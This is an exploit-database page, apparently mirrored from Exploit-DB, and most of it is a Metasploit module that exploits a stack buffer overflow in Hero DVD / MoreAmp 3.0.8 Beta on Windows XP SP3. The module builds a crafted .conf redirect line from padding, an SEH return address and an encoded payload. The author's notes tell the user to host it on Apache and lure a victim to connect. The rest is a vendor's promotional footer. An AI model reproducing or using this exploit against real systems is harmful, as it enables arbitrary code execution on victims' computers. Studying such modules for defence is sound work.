Lucene search
+L

Hero DVD - Remote Buffer Overflow (Metasploit)

🗓️ 19 Jul 2010 00:00:00Reported by MadjixType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

Hero DVD Remote Buffer Overflow Exploit, stack overflow in 3.0.8 MoreAmp Beta creates .conf file, executes arbitrary cod

Code
##################################################################
#                                           _                    #
#               .-----.--.--.--.----.----.-| |___                #
#               |  _  |  |  |  |     |  -__|  _  |               #
#               |   __|________|__|__|_____|_____|               #
#               |__|        By MadjiX                            #
#                          Sec4ever.com                          #
##################################################################
# Note: Use Backtrack! place httpd.conf in /etc/apache2/ and start apache
# Have Someone Connect to your Server /sploit
# Credit goes to chap0 for the nice bug!

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Hero DVD Remote Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a stack overflow in 3.0.8 MoreAmp Beta
            By creating a specially crafted .conf file, an an attacker may be able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' =>
		[
			'MadjiX <Dz8@HotmaiL[DoT]CoM>',
			'chap0'	#Discovered by chap0
		],
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', 'N/A' ],
                    [ 'Exploit-DB', 'http://www.exploit-db.com/exploits/14257/' ],
		    [ 'Corelan', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-056' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 750,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x58324879} ], # 0x58324879 from msg723.acm
                ],
            'Privileged' => false,
            'DisclosureDate'  => '19-07-2010',
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.conf']),
            ], self.class)
    end


    def exploit

        sploit = "Redirect permanent /sploit http://"
        sploit << rand_text_alphanumeric(128)
        sploit << [target.ret].pack('V')
        sploit << "B" * 24
        sploit << payload.encoded

        maffile = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(maffile)

    end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2010 00:00Current
5.3Medium risk
Vulners AI Score5.3
29